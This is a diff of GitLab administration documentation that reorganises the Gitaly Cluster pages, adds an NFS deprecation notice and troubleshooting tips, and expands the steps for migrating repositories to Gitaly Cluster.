+- Each repository is stored on one of three Gitaly storages: `storage-1`, `storage-2`,
+ or `storage-3`.
+- Each storage is serviced by a Gitaly node.
+- The three Gitaly nodes store data in three separate hashed storage locations.
-For these reasons, **accessing repositories directly is done at your own risk
-and is not supported**.
+Generally, virtual storage with Gitaly Cluster can replace direct Gitaly storage configurations, at
+the expense of additional storage needed to store each repository on multiple Gitaly nodes. The
+benefit of using Gitaly Cluster over direct Gitaly storage is:
+
+- Improved fault tolerance, because each Gitaly node has a copy of every repository.
+- Improved resource utilization, reducing the need for over-provisioning for shard-specific peak
+ loads, because read loads are distributed across replicas.
+- Manual rebalancing for performance is not required, because read loads are distributed across
+ replicas.
+- Simpler management, because all Gitaly nodes are identical.
+
+Under some workloads, CPU and memory requirements may require a large fleet of Gitaly nodes. It
+can be uneconomical to have one to one replication factor.
+
+A hybrid approach can be used in these instances, where each shard is configured as a smaller
+cluster. [Variable replication factor](https://gitlab.com/groups/gitlab-org/-/epics/3372) is planned
+to provide greater flexibility for extremely large GitLab instances.
+
+### Gitaly Cluster compared to Geo
+
+Gitaly Cluster and [Geo](../geo/index.md) both provide redundancy. However the redundancy of:
+
+- Gitaly Cluster provides fault tolerance for data storage and is invisible to the user. Users are
+ not aware when Gitaly Cluster is used.
+- Geo provides [replication](../geo/index.md) and [disaster recovery](../geo/disaster_recovery/index.md) for
+ an entire instance of GitLab. Users know when they are using Geo for
+ [replication](../geo/index.md). Geo [replicates multiple data types](../geo/replication/datatypes.md#limitations-on-replicationverification),
+ including Git data.
+
+The following table outlines the major differences between Gitaly Cluster and Geo:
+
+| Tool | Nodes | Locations | Latency tolerance | Failover | Consistency | Provides redundancy for |
+|:---------------|:---------|:----------|:-------------------|:----------------------------------------------------------------|:-----------------------------------------|:------------------------|
+| Gitaly Cluster | Multiple | Single | Approximately 1 ms | [Automatic](praefect.md#automatic-failover-and-leader-election) | [Strong](praefect.md#strong-consistency) | Data storage in Git |
+| Geo | Multiple | Multiple | Up to one minute | [Manual](../geo/disaster_recovery/index.md) | Eventual | Entire GitLab instance |
+
+For more information, see:
+
+- Geo [use cases](../geo/index.md#use-cases).
+- Geo [architecture](../geo/index.md#architecture).
+
+### Architecture
+
+Praefect is a router and transaction manager for Gitaly, and a required
+component for running a Gitaly Cluster.
+
+![Architecture diagram](img/praefect_architecture_v12_10.png)
+
+For more information, see [Gitaly High Availability (HA) Design](https://gitlab.com/gitlab-org/gitaly/-/blob/master/doc/design_ha.md).
+
+### Configure Gitaly Cluster
+
+For more information on configuring Gitaly Cluster, see [Configure Gitaly Cluster](praefect.md).
+
+## Do not bypass Gitaly
+
+GitLab doesn't advise directly accessing Gitaly repositories stored on disk with a Git client,
+because Gitaly is being continuously improved and changed. These improvements may invalidate
+your assumptions, resulting in performance degradation, instability, and even data loss. For example:
+
+- Gitaly has optimizations such as the [`info/refs` advertisement cache](https://gitlab.com/gitlab-org/gitaly/blob/master/doc/design_diskcache.md),
+ that rely on Gitaly controlling and monitoring access to repositories by using the official gRPC
+ interface.
+- [Gitaly Cluster](praefect.md) has optimizations, such as fault tolerance and
+ [distributed reads](praefect.md#distributed-reads), that depend on the gRPC interface and database
+ to determine repository state.
+
+WARNING:
+Accessing Git repositories directly is done at your own risk and is not supported.
## Direct access to Git in GitLab
Direct access to Git uses code in GitLab known as the "Rugged patches".
-### History
-
-Before Gitaly existed, what are now Gitaly clients used to access Git repositories directly, either:
+Before Gitaly existed, what are now Gitaly clients accessed Git repositories directly, either:
-- On a local disk in the case of a single-machine Omnibus GitLab installation
+- On a local disk in the case of a single-machine Omnibus GitLab installation.
- Using NFS in the case of a horizontally-scaled GitLab installation.
-Besides running plain `git` commands, GitLab used to use a Ruby library called
+In addition to running plain `git` commands, GitLab used a Ruby library called
[Rugged](https://github.com/libgit2/rugged). Rugged is a wrapper around
[libgit2](https://libgit2.org/), a stand-alone implementation of Git in the form of a C library.
@@ -81,9 +305,9 @@ not an external process, there was very little overhead between:
- GitLab application code that tried to look up data in Git repositories.
- The Git implementation itself.
-Because the combination of Rugged and Unicorn was so efficient, the GitLab application code ended up with lots of
-duplicate Git object lookups. For example, looking up the `master` commit a dozen times in one
-request. We could write inefficient code without poor performance.
+Because the combination of Rugged and Unicorn was so efficient, the GitLab application code ended up
+with lots of duplicate Git object lookups. For example, looking up the default branch commit a dozen
+times in one request. We could write inefficient code without poor performance.
When we migrated these Git lookups to Gitaly calls, we suddenly had a much higher fixed cost per Git
lookup. Even when Gitaly is able to re-use an already-running `git` process (for example, to look up
@@ -94,8 +318,8 @@ a commit), you still have:
Using GitLab.com to measure, we reduced the number of Gitaly calls per request until the loss of
Rugged's efficiency was no longer felt. It also helped that we run Gitaly itself directly on the Git
-file severs, rather than by using NFS mounts. This gave us a speed boost that counteracted the negative
-effect of not using Rugged anymore.
+file servers, rather than by using NFS mounts. This gave us a speed boost that counteracted the
+negative effect of not using Rugged anymore.
Unfortunately, other deployments of GitLab could not remove NFS like we did on GitLab.com, and they
got the worst of both worlds:
@@ -154,7 +378,29 @@ There are two facets to our efforts to remove direct Git access in GitLab:
NFS.
The second facet presents the only real solution. For this, we developed
-[Gitaly Cluster](praefect.md).
+[Gitaly Cluster](#gitaly-cluster).
+
+## NFS deprecation notice
+
+<!-- vale gitlab.FutureTense = NO -->
+
+From GitLab 14.0, enhancements and bug fixes for NFS for Git repositories will no longer be
+considered and customer technical support will be considered out of scope.
+
+Additional information:
+
+- [Recommended NFS mount options and known issues with Gitaly and NFS](../nfs.md#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss).
+- [GitLab statement of support](https://about.gitlab.com/support/statement-of-support.html#gitaly-and-nfs).
+
+<!-- vale gitlab.FutureTense = YES -->
+
+GitLab recommends:
+
+- Creating a [Gitaly Cluster](#gitaly-cluster) as soon as possible.
+- [Moving your repositories](praefect.md#migrate-to-gitaly-cluster) from NFS-based storage to Gitaly
+ Cluster.
+
+We welcome your feedback on this process: raise a support ticket, or [comment on the epic](https://gitlab.com/groups/gitlab-org/-/epics/4916).
## Troubleshooting Gitaly
@@ -213,6 +459,21 @@ You can run a gRPC trace with:
sudo GRPC_TRACE=all GRPC_VERBOSITY=DEBUG gitlab-rake gitlab:gitaly:check
```
+### Server side gRPC logs
+
+gRPC tracing can also be enabled in Gitaly itself with the `GODEBUG=http2debug`
+environment variable. To set this in an Omnibus GitLab install:
+
+1. Add the following to your `gitlab.rb` file:
+
+ ```ruby
+ gitaly['env'] = {
+ "GODEBUG=http2debug" => "2"
+ }
+ ```
+
+1. [Reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure) GitLab.
+
### Correlating Git processes with RPCs
Sometimes you need to find out which Gitaly RPC created a particular Git process.
@@ -240,9 +501,9 @@ so, there's not that much visibility into what goes on inside
If you have Prometheus set up to scrape your Gitaly process, you can see
request rates and error codes for individual RPCs in `gitaly-ruby` by
querying `grpc_client_handled_total`. Strictly speaking, this metric does
-not differentiate between `gitaly-ruby` and other RPCs, but in practice
-(as of GitLab 11.9), all gRPC calls made by Gitaly itself are internal
-calls from the main Gitaly process to one of its `gitaly-ruby` sidecars.
+not differentiate between `gitaly-ruby` and other RPCs. However from GitLab 11.9,
+all gRPC calls made by Gitaly itself are internal calls from the main Gitaly process to one of its
+`gitaly-ruby` sidecars.
Assuming your `grpc_client_handled_total` counter observes only Gitaly,
the following query shows you RPCs are (most likely) internally
@@ -349,9 +610,10 @@ update the secrets file on the Gitaly server to match the Gitaly client, then
### Command line tools cannot connect to Gitaly
-If you can't connect to a Gitaly server with command line (CLI) tools,
-and certain actions result in a `14: Connect Failed` error message,
-gRPC cannot reach your Gitaly server.
+gRPC cannot reach your Gitaly server if:
+
+- You can't connect to a Gitaly server with command-line tools.
+- Certain actions result in a `14: Connect Failed` error message.
Verify you can reach Gitaly by using TCP:
@@ -383,16 +645,30 @@ unset http_proxy
unset https_proxy
```
-### Permission denied errors appearing in Gitaly logs when accessing repositories from a standalone Gitaly server
+### Permission denied errors appearing in Gitaly or Praefect logs when accessing repositories
-If this error occurs even though file permissions are correct, it's likely that
-the Gitaly server is experiencing
-[clock drift](https://en.wikipedia.org/wiki/Clock_drift).
+You might see the following in Gitaly and Praefect logs:
-Ensure the Gitaly clients and servers are synchronized, and use an NTP time
-server to keep them synchronized, if possible.
+```shell
+{
+ ...
+ "error":"rpc error: code = PermissionDenied desc = permission denied",
+ "grpc.code":"PermissionDenied",
+ "grpc.meta.client_name":"gitlab-web",
+ "grpc.request.fullMethod":"/gitaly.ServerService/ServerInfo",
+ "level":"warning",
+ "msg":"finished unary call with code PermissionDenied",
+ ...
+}
+```
-### Praefect
+This is a GRPC call
+[error response code](https://grpc.github.io/grpc/core/md_doc_statuscodes.html).
-Praefect is a router and transaction manager for Gitaly, and a required
-component for running a Gitaly Cluster. For more information see [Gitaly Cluster](praefect.md).
+If this error occurs, even though
+[the Gitaly auth tokens are correctly setup](../gitaly/praefect.md#debugging-praefect),
+it's likely that the Gitaly servers are experiencing
+[clock drift](https://en.wikipedia.org/wiki/Clock_drift).
+
+Ensure the Gitaly clients and servers are synchronized, and use an NTP time
+server to keep them synchronized.
diff --git a/doc/administration/gitaly/praefect.md b/doc/administration/gitaly/praefect.md
index 80b5c1bb799..1a8df1cea92 100644
--- a/doc/administration/gitaly/praefect.md
+++ b/doc/administration/gitaly/praefect.md
@@ -5,154 +5,11 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# Gitaly Cluster **(FREE SELF)**
+# Configure Gitaly Cluster **(FREE SELF)**
-[Gitaly](index.md), the service that provides storage for Git repositories, can
-be run in a clustered configuration to increase fault tolerance. In this
-configuration, every Git repository is stored on every Gitaly node in the
-cluster. Multiple clusters (or storage shards) can be configured.
-
-NOTE:
-Technical support for Gitaly clusters is limited to GitLab Premium and Ultimate
-customers.
-
-Praefect is a router and transaction manager for Gitaly, and a required
-component for running a Gitaly Cluster.
-
-![Architecture diagram](img/praefect_architecture_v12_10.png)
-
-Using a Gitaly Cluster increases fault tolerance by:
-
-- Replicating write operations to warm standby Gitaly nodes.
-- Detecting Gitaly node failures.
-- Automatically routing Git requests to an available Gitaly node.
-
-The availability objectives for Gitaly clusters are:
-
-- **Recovery Point Objective (RPO):** Less than 1 minute.
-
- Writes are replicated asynchronously. Any writes that have not been replicated
- to the newly promoted primary are lost.
-
- [Strong consistency](#strong-consistency) can be used to avoid loss in some
- circumstances.
-
-- **Recovery Time Objective (RTO):** Less than 10 seconds.
-
- Outages are detected by a health checks run by each Praefect node every
- second. Failover requires ten consecutive failed health checks on each
- Praefect node.
-
- [Faster outage detection](https://gitlab.com/gitlab-org/gitaly/-/issues/2608)
- is planned to improve this to less than 1 second.
-
-Gitaly Cluster supports:
-
-- [Strong consistency](#strong-consistency) of the secondary replicas.
-- [Automatic failover](#automatic-failover-and-leader-election) from the primary to the secondary.
-- Reporting of possible data loss if replication queue is non-empty.
-- Marking repositories as [read only](#read-only-mode) if data loss is detected to prevent data inconsistencies.
-
-Follow the [Gitaly Cluster epic](https://gitlab.com/groups/gitlab-org/-/epics/1489)
-for improvements including
-[horizontally distributing reads](https://gitlab.com/groups/gitlab-org/-/epics/2013).
-
-## Gitaly Cluster compared to Geo
-
-Gitaly Cluster and [Geo](../geo/index.md) both provide redundancy. However the redundancy of:
-
-- Gitaly Cluster provides fault tolerance for data storage and is invisible to the user. Users are
- not aware when Gitaly Cluster is used.
-- Geo provides [replication](../geo/index.md) and [disaster recovery](../geo/disaster_recovery/index.md) for
- an entire instance of GitLab. Users know when they are using Geo for
- [replication](../geo/index.md). Geo [replicates multiple data types](../geo/replication/datatypes.md#limitations-on-replicationverification),
- including Git data.
-
-The following table outlines the major differences between Gitaly Cluster and Geo:
-
-| Tool | Nodes | Locations | Latency tolerance | Failover | Consistency | Provides redundancy for |
-|:---------------|:---------|:----------|:-------------------|:-----------------------------------------------------|:------------------------------|:------------------------|
-| Gitaly Cluster | Multiple | Single | Approximately 1 ms | [Automatic](#automatic-failover-and-leader-election) | [Strong](#strong-consistency) | Data storage in Git |
-| Geo | Multiple | Multiple | Up to one minute | [Manual](../geo/disaster_recovery/index.md) | Eventual | Entire GitLab instance |
-
-For more information, see:
-
-- [Gitaly architecture](index.md#architecture).
-- Geo [use cases](../geo/index.md#use-cases) and [architecture](../geo/index.md#architecture).
-
-## Where Gitaly Cluster fits
-
-GitLab accesses [repositories](../../user/project/repository/index.md) through the configured
-[repository storages](../repository_storage_paths.md). Each new repository is stored on one of the
-repository storages based on their configured weights. Each repository storage is either:
-
-- A Gitaly storage served directly by Gitaly. These map to a directory on the file system of a
- Gitaly node.
-- A [virtual storage](#virtual-storage-or-direct-gitaly-storage) served by Praefect. A virtual
- storage is a cluster of Gitaly storages that appear as a single repository storage.
-
-Virtual storages are a feature of Gitaly Cluster. They support replicating the repositories to
-multiple storages for fault tolerance. Virtual storages can improve performance by distributing
-requests across Gitaly nodes. Their distributed nature makes it viable to have a single repository
-storage in GitLab to simplify repository management.
-
-## Components of Gitaly Cluster
-
-Gitaly Cluster consists of multiple components:
-
-- [Load balancer](#load-balancer) for distributing requests and providing fault-tolerant access to
- Praefect nodes.
-- [Praefect](#praefect) nodes for managing the cluster and routing requests to Gitaly nodes.
-- [PostgreSQL database](#postgresql) for persisting cluster metadata and [PgBouncer](#pgbouncer),
- recommended for pooling Praefect's database connections.
-- [Gitaly](index.md) nodes to provide repository storage and Git access.
-
-![Cluster example](img/cluster_example_v13_3.png)
-
-In this example:
-
-- Repositories are stored on a virtual storage called `storage-1`.
-- Three Gitaly nodes provide `storage-1` access: `gitaly-1`, `gitaly-2`, and `gitaly-3`.
-- The three Gitaly nodes store data on their file systems.
-
-### Virtual storage or direct Gitaly storage
-
-Gitaly supports multiple models of scaling:
-
-- Clustering using Gitaly Cluster, where each repository is stored on multiple Gitaly nodes in the
- cluster. Read requests are distributed between repository replicas and write requests are
- broadcast to repository replicas. GitLab accesses virtual storage.
-- Direct access to Gitaly storage using [repository storage paths](../repository_storage_paths.md),
- where each repository is stored on the assigned Gitaly node. All requests are routed to this node.
-
-The following is Gitaly set up to use direct access to Gitaly instead of Gitaly Cluster:
-
-![Shard example](img/shard_example_v13_3.png)
-
-In this example:
-
-- Each repository is stored on one of three Gitaly storages: `storage-1`, `storage-2`,
- or `storage-3`.
-- Each storage is serviced by a Gitaly node.
-- The three Gitaly nodes store data in three separate hashed storage locations.
-
-Generally, virtual storage with Gitaly Cluster can replace direct Gitaly storage configurations, at
-the expense of additional storage needed to store each repository on multiple Gitaly nodes. The
-benefit of using Gitaly Cluster over direct Gitaly storage is:
-
-- Improved fault tolerance, because each Gitaly node has a copy of every repository.
-- Improved resource utilization, reducing the need for over-provisioning for shard-specific peak
- loads, because read loads are distributed across replicas.
-- Manual rebalancing for performance is not required, because read loads are distributed across
- replicas.
-- Simpler management, because all Gitaly nodes are identical.
-
-Under some workloads, CPU and memory requirements may require a large fleet of Gitaly nodes. It
-can be uneconomical to have one to one replication factor.
-
-A hybrid approach can be used in these instances, where each shard is configured as a smaller
-cluster. [Variable replication factor](https://gitlab.com/groups/gitlab-org/-/epics/3372) is planned
-to provide greater flexibility for extremely large GitLab instances.
+In addition to Gitaly Cluster configuration instructions available as part of
+[reference architectures](../reference_architectures/index.md) for installations for more than
+2000 users, advanced configuration instructions are available below.
## Requirements for configuring a Gitaly Cluster
@@ -167,6 +24,10 @@ See the [design
document](https://gitlab.com/gitlab-org/gitaly/-/blob/master/doc/design_ha.md)
for implementation details.
+NOTE:
+If not set in GitLab, feature flags are read as false from the console and Praefect uses their
+default value. The default value depends on the GitLab version.
+
## Setup Instructions
If you [installed](https://about.gitlab.com/install/) GitLab using the Omnibus
@@ -204,7 +65,7 @@ You need the IP/host address for each node.
If you are using a cloud provider, you can look up the addresses for each server through your cloud provider's management console.
-If you are using Google Cloud Platform, SoftLayer, or any other vendor that provides a virtual private cloud (VPC) you can use the private addresses for each cloud instance (corresponds to “internal address†for Google Cloud Platform) for `PRAEFECT_HOST`, `GITALY_HOST_*`, and `GITLAB_HOST`.
+If you are using Google Cloud Platform, SoftLayer, or any other vendor that provides a virtual private cloud (VPC) you can use the private addresses for each cloud instance (corresponds to "internal address" for Google Cloud Platform) for `PRAEFECT_HOST`, `GITALY_HOST_*`, and `GITLAB_HOST`.
#### Secrets
@@ -227,6 +88,9 @@ with secure tokens as you complete the setup process.
We note in the instructions below where these secrets are required.
+NOTE:
+Omnibus GitLab installations can use `gitlab-secrets.json` for `GITLAB_SHELL_SECRET_TOKEN`.
+
### PostgreSQL
NOTE:
@@ -236,10 +100,11 @@ database on the same PostgreSQL server if using
of GitLab and should not be replicated.
These instructions help set up a single PostgreSQL database, which creates a single point of
-failure. For greater fault tolerance, the following options are available:
+failure. The following options are available:
-- For non-Geo installations, use one of the fault-tolerant
- [PostgreSQL setups](../postgresql/index.md).
+- For non-Geo installations, either:
+ - Use one of the documented [PostgreSQL setups](../postgresql/index.md).
+ - Use your own third-party database setup, if fault tolerance is required.
- For Geo instances, either:
- Set up a separate [PostgreSQL instance](https://www.postgresql.org/docs/11/high-availability.html).
- Use a cloud-managed PostgreSQL service. AWS
@@ -458,7 +323,7 @@ application server, or a Gitaly node.
WARNING:
If you have data on an already existing storage called
`default`, you should configure the virtual storage with another name and
- [migrate the data to the Gitaly Cluster storage](#migrate-existing-repositories-to-gitaly-cluster)
+ [migrate the data to the Gitaly Cluster storage](#migrate-to-gitaly-cluster)
afterwards.
Replace `PRAEFECT_INTERNAL_TOKEN` with a strong secret, which is used by
@@ -755,14 +620,26 @@ documentation](configure_gitaly.md#configure-gitaly-servers).
gitaly['auth_token'] = 'PRAEFECT_INTERNAL_TOKEN'
```
-1. Configure the GitLab Shell `secret_token`, and `internal_api_url` which are
- needed for `git push` operations.
+1. Configure the GitLab Shell secret token, which is needed for `git push` operations. Either:
- If you have already configured [Gitaly on its own server](index.md)
+ - Method 1:
- ```ruby
- gitlab_shell['secret_token'] = 'GITLAB_SHELL_SECRET_TOKEN'
+ 1. Copy `/etc/gitlab/gitlab-secrets.json` from the Gitaly client to same path on the Gitaly
+ servers and any other Gitaly clients.
+ 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) on Gitaly servers.
+ - Method 2:
+
+ 1. Edit `/etc/gitlab/gitlab.rb`.
+ 1. Replace `GITLAB_SHELL_SECRET_TOKEN` with the real secret.
+
+ ```ruby
+ gitlab_shell['secret_token'] = 'GITLAB_SHELL_SECRET_TOKEN'
+ ```
+
+1. Configure and `internal_api_url`, which is also needed for `git push` operations:
+
+ ```ruby
# Configure the gitlab-shell API callback URL. Without this, `git push` will
# fail. This can be your front door GitLab URL or an internal load balancer.
# Examples: 'https://gitlab.example.com', 'http://1.2.3.4'
@@ -838,7 +715,7 @@ addition to the GitLab nodes. Some requests handled by
process. `gitaly-ruby` uses the Gitaly address set in the GitLab server's
`git_data_dirs` setting to make this connection.
-We hope that if you’re managing fault-tolerant systems like GitLab, you have a load balancer
+We hope that if you're managing fault-tolerant systems like GitLab, you have a load balancer
of choice already. Some examples include [HAProxy](https://www.haproxy.org/)
(open-source), [Google Internal Load Balancer](https://cloud.google.com/load-balancing/docs/internal/),
[AWS Elastic Load Balancer](https://aws.amazon.com/elasticloadbalancing/), F5
@@ -887,7 +764,7 @@ Particular attention should be shown to:
WARNING:
If you have existing data stored on the default Gitaly storage,
- you should [migrate the data your Gitaly Cluster storage](#migrate-existing-repositories-to-gitaly-cluster)
+ you should [migrate the data your Gitaly Cluster storage](#migrate-to-gitaly-cluster)
first.
```ruby
@@ -914,15 +791,23 @@ Particular attention should be shown to:
})
```
-1. Configure the `gitlab_shell['secret_token']` so that callbacks from Gitaly
- nodes during a `git push` are properly authenticated by editing
- `/etc/gitlab/gitlab.rb`:
+1. Configure the GitLab Shell secret token so that callbacks from Gitaly nodes during a `git push`
+ are properly authenticated. Either:
- You need to replace `GITLAB_SHELL_SECRET_TOKEN` with the real secret.
+ - Method 1:
- ```ruby
- gitlab_shell['secret_token'] = 'GITLAB_SHELL_SECRET_TOKEN'
- ```
+ 1. Copy `/etc/gitlab/gitlab-secrets.json` from the Gitaly client to same path on the Gitaly
+ servers and any other Gitaly clients.
+ 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) on Gitaly servers.
+
+ - Method 2:
+
+ 1. Edit `/etc/gitlab/gitlab.rb`.
+ 1. Replace `GITLAB_SHELL_SECRET_TOKEN` with the real secret.
+
+ ```ruby
+ gitlab_shell['secret_token'] = 'GITLAB_SHELL_SECRET_TOKEN'
+ ```
1. Add Prometheus monitoring settings by editing `/etc/gitlab/gitlab.rb`. If Prometheus
is enabled on a different node, make edits on that node instead.
@@ -1036,6 +921,7 @@ cluster.
> - [Made generally available and enabled by default](https://gitlab.com/gitlab-org/gitaly/-/issues/2951) in GitLab 13.3.
> - [Disabled by default](https://gitlab.com/gitlab-org/gitaly/-/issues/3178) in GitLab 13.5.
> - [Enabled by default](https://gitlab.com/gitlab-org/gitaly/-/issues/3334) in GitLab 13.8.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitaly/-/issues/3383) in GitLab 13.11.
Praefect supports distribution of read operations across Gitaly nodes that are
configured for the virtual node.
@@ -1064,8 +950,10 @@ They reflect configuration defined for this instance of Praefect.
> - Introduced in GitLab 13.1 in [alpha](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha-beta-ga), disabled by default.
> - Entered [beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha-beta-ga) in GitLab 13.2, disabled by default.
-> - From GitLab 13.3, disabled unless primary-wins reference transactions strategy is disabled.
+> - In GitLab 13.3, disabled unless primary-wins voting strategy is disabled.
> - From GitLab 13.4, enabled by default.
+> - From GitLab 13.5, you must use Git v2.28.0 or higher on Gitaly nodes to enable strong consistency.
+> - From GitLab 13.6, primary-wins voting strategy and `gitaly_reference_transactions_primary_wins` feature flag were removed from the source code.
Praefect guarantees eventual consistency by replicating all writes to secondary nodes
after the write to the primary Gitaly node has happened.
@@ -1077,18 +965,12 @@ information, see the [strong consistency epic](https://gitlab.com/groups/gitlab-
To enable strong consistency:
-- In GitLab 13.5, you must use Git v2.28.0 or higher on Gitaly nodes to enable
- strong consistency.
-- In GitLab 13.4 and later, the strong consistency voting strategy has been
- improved. Instead of requiring all nodes to agree, only the primary and half
- of the secondaries need to agree. This strategy is enabled by default. To
- disable it and continue using the primary-wins strategy, enable the
- `:gitaly_reference_transactions_primary_wins` feature flag.
-- In GitLab 13.3, reference transactions are enabled by default with a
- primary-wins strategy. This strategy causes all transactions to succeed for
- the primary and thus does not ensure strong consistency. To enable strong
- consistency, disable the `:gitaly_reference_transactions_primary_wins`
- feature flag.
+- In GitLab 13.5, you must use Git v2.28.0 or higher on Gitaly nodes to enable strong consistency.
+- In GitLab 13.4 and later, the strong consistency voting strategy has been improved and enabled by default.
+ Instead of requiring all nodes to agree, only the primary and half of the secondaries need to agree.
+- In GitLab 13.3, reference transactions are enabled by default with a primary-wins strategy.
+ This strategy causes all transactions to succeed for the primary and thus does not ensure strong consistency.
+ To enable strong consistency, disable the `:gitaly_reference_transactions_primary_wins` feature flag.
- In GitLab 13.2, enable the `:gitaly_reference_transactions` feature flag.
- In GitLab 13.1, enable the `:gitaly_reference_transactions` and `:gitaly_hooks_rpc`
feature flags.
@@ -1368,8 +1250,9 @@ affected repositories. Praefect provides tools for:
- [Automatic](#automatic-reconciliation) reconciliation, for GitLab 13.4 and later.
- [Manual](#manual-reconciliation) reconciliation, for:
- GitLab 13.3 and earlier.
- - Repositories upgraded to GitLab 13.4 and later without entries in the `repositories` table.
- A migration tool [is planned](https://gitlab.com/gitlab-org/gitaly/-/issues/3033).
+ - Repositories upgraded to GitLab 13.4 and later without entries in the `repositories` table. In
+ GitLab 13.6 and later, [a migration is run](https://gitlab.com/gitlab-org/gitaly/-/issues/3033)
+ when Praefect starts for these repositories.
These tools reconcile the outdated repositories to bring them fully up to date again.
@@ -1413,23 +1296,37 @@ sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.t
- Replace the placeholder `<up-to-date-storage>` with the Gitaly storage name containing up to date repositories.
- Replace the placeholder `<outdated-storage>` with the Gitaly storage name containing outdated repositories.
-## Migrate existing repositories to Gitaly Cluster
+## Migrate to Gitaly Cluster
+
+To migrate to Gitaly Cluster, existing repositories stored outside Gitaly Cluster must be
+moved. There is no automatic migration but the moves can be scheduled with the GitLab API.
-If your GitLab instance already has repositories on single Gitaly nodes, these aren't migrated to
-Gitaly Cluster automatically.
+GitLab repositories can be associated with projects, groups, and snippets. Each of these types
+have a separate API to schedule the respective repositories to move. To move all repositories
+on a GitLab instance, each of these types must be scheduled to move for each storage.
-Project repositories may be moved from one storage location using the [Project repository storage moves API](../../api/project_repository_storage_moves.md). Note that this API cannot move all repository types. For moving other repositories types, see:
+Each repository is made read only when the move is scheduled. The repository is not writable
+until the move has completed.
-- [Snippet repository storage moves API](../../api/snippet_repository_storage_moves.md).
-- [Group repository storage moves API](../../api/group_repository_storage_moves.md).
+After creating and configuring Gitaly Cluster:
-To move repositories to Gitaly Cluster:
+1. Ensure all storages are accessible to the GitLab instance. In this example, these are
+ `<original_storage_name>` and `<cluster_storage_name>`.
+1. [Configure repository storage weights](../repository_storage_paths.md#configure-where-new-repositories-are-stored)
+ so that the Gitaly Cluster receives all new projects. This stops new projects being created
+ on existing Gitaly nodes while the migration is in progress.
+1. Schedule repository moves for:
+ - [Projects](#bulk-schedule-projects).
+ - [Snippets](#bulk-schedule-snippets).
+ - [Groups](#bulk-schedule-groups). **(PREMIUM SELF)**
+
+### Bulk schedule projects
1. [Schedule repository storage moves for all projects on a storage shard](../../api/project_repository_storage_moves.md#schedule-repository-storage-moves-for-all-projects-on-a-storage-shard) using the API. For example:
```shell
curl --request POST --header "Private-Token: <your_access_token>" --header "Content-Type: application/json" \
- --data '{"source_storage_name":"gitaly","destination_storage_name":"praefect"}' "https://gitlab.example.com/api/v4/project_repository_storage_moves"
+ --data '{"source_storage_name":"<original_storage_name>","destination_storage_name":"<cluster_storage_name>"}' "https://gitlab.example.com/api/v4/project_repository_storage_moves"
```
1. [Query the most recent repository moves](../../api/project_repository_storage_moves.md#retrieve-all-project-repository-storage-moves)
@@ -1442,9 +1339,69 @@ To move repositories to Gitaly Cluster:
using the API to confirm that all projects have moved. No projects should be returned
with `repository_storage` field set to the old storage.
-In a similar way, you can move other repository types by using the
-[Snippet repository storage moves API](../../api/snippet_repository_storage_moves.md) **(FREE SELF)**
-or the [Groups repository storage moves API](../../api/group_repository_storage_moves.md) **(PREMIUM SELF)**.
+ ```shell
+ curl --header "Private-Token: <your_access_token>" --header "Content-Type: application/json" \
+ "https://gitlab.example.com/api/v4/projects?repository_storage=<original_storage_name>"
+ ```
+
+ Alternatively use [the rails console](../operations/rails_console.md) to
+ confirm that all projects have moved. Run the following in the rails console:
+
+ ```ruby
+ ProjectRepository.for_repository_storage('<original_storage_name>')
+ ```
+
+1. Repeat for each storage as required.
+
+### Bulk schedule snippets
+
+1. [Schedule repository storage moves for all snippets on a storage shard](../../api/snippet_repository_storage_moves.md#schedule-repository-storage-moves-for-all-snippets-on-a-storage-shard) using the API. For example:
+
+ ```shell
+ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \
+ --data '{"source_storage_name":"<original_storage_name>","destination_storage_name":"<cluster_storage_name>"}' "https://gitlab.example.com/api/v4/snippet_repository_storage_moves"
+ ```
+
+1. [Query the most recent repository moves](../../api/snippet_repository_storage_moves.md#retrieve-all-snippet-repository-storage-moves)
+ using the API. The query indicates either:
+ - The moves have completed successfully. The `state` field is `finished`.
+ - The moves are in progress. Re-query the repository move until it completes successfully.
+ - The moves have failed. Most failures are temporary and are solved by rescheduling the move.
+
+1. After the moves are complete, use [the rails console](../operations/rails_console.md) to
+ confirm that all snippets have moved. No snippets should be returned for the original
+ storage. Run the following in the rails console:
+
+ ```ruby
+ SnippetRepository.for_repository_storage('<original_storage_name>')
+ ```
+
+1. Repeat for each storage as required.
+
+### Bulk schedule groups **(PREMIUM SELF)**
+
+1. [Schedule repository storage moves for all groups on a storage shard](../../api/group_repository_storage_moves.md#schedule-repository-storage-moves-for-all-groups-on-a-storage-shard) using the API.
+
+ ```shell
+ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \
+ --data '{"source_storage_name":"<original_storage_name>","destination_storage_name":"<cluster_storage_name>"}' "https://gitlab.example.com/api/v4/group_repository_storage_moves"
+ ```
+
+1. [Query the most recent repository moves](../../api/group_repository_storage_moves.md#retrieve-all-group-repository-storage-moves)
+ using the API. The query indicates either:
+ - The moves have completed successfully. The `state` field is `finished`.
+ - The moves are in progress. Re-query the repository move until it completes successfully.
+ - The moves have failed. Most failures are temporary and are solved by rescheduling the move.
+
+1. After the moves are complete, use [the rails console](../operations/rails_console.md) to
+ confirm that all groups have moved. No groups should be returned for the original
+ storage. Run the following in the rails console:
+
+ ```ruby
+ GroupWikiRepository.for_repository_storage('<original_storage_name>')
+ ```
+
+1. Repeat for each storage as required.
## Debugging Praefect
diff --git a/doc/administration/gitaly/reference.md b/doc/administration/gitaly/reference.md
index f08b03017e4..ec5a8d47ae2 100644
--- a/doc/administration/gitaly/reference.md
+++ b/doc/administration/gitaly/reference.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# Gitaly reference
+# Gitaly reference **(FREE SELF)**
Gitaly is configured via a [TOML](https://github.com/toml-lang/toml)
configuration file. Unlike installations from source, in Omnibus GitLab, you
